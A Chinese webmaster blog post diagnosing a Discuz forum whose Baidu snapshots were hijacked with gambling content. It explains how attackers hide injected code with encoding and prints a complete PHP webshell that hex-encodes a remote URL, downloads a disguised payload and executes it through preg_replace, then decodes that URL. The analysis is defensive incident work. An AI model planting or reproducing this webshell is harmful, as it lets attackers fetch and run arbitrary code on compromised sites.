当前位置 主页 > 本站WEB程序 > 安全 > IIS7网站监控 >

    discuz 3.1论坛快照被百度劫持解决方案

    栏目:IIS7网站监控 时间:2020-11-25 14:44

         最近很郁闷,遇到一个很棘手的问题。我们公司有个论坛在百度查看快照信息的时候全部都是博彩信息,但是打开却无博彩信息显示。在快照中查看是这样的
         百度快照查看图:

         经过思考,怀疑是网站中有网页被改动了,在某页面加了判断,如果来源为搜索引擎的抓取就显示博彩信息。但是使用editplus文件搜索如: baidu\spider\http等也无效。通过百度搜索别人也遇到相似的问题,入侵者将要写入的信息加密,通过通用的关键字是搜索不到的。就查找php的加密方法,但然肯定是可以解密的加密方法
    1、base64加密
         string base64_encode ( string $data )
         使用 base64 对 data 进行编码。
         设计此种编码是为了使二进制数据可以通过非纯 8-bit 的传输层传输,例如电子邮件的主体。
         Base64-encoded 数据要比原始数据多占用 33% 左右的空间。
         string base64_decode ( string $data [, bool $strict = false ] )
         对 base64 编码的 data 进行解码。
         参数
         data -- 编码过的数据。
         strict -- 如果输入的数据超出了 base64 字母表,则返回 FALSE。
         我遇到的就是这种情况

    2、使用对称加密方法
         Webshell代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    error_reporting(0);
    session_start();
    header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
    $_SESSION['api']=substr(file_get_contents(
    sprintf('%s?%s',pack("H*",
    '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
    ?>
         关键看下面这句代码,
    1
    sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
         这里执行之后其实是一张图片,解密出来的图片地址如下:
         http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85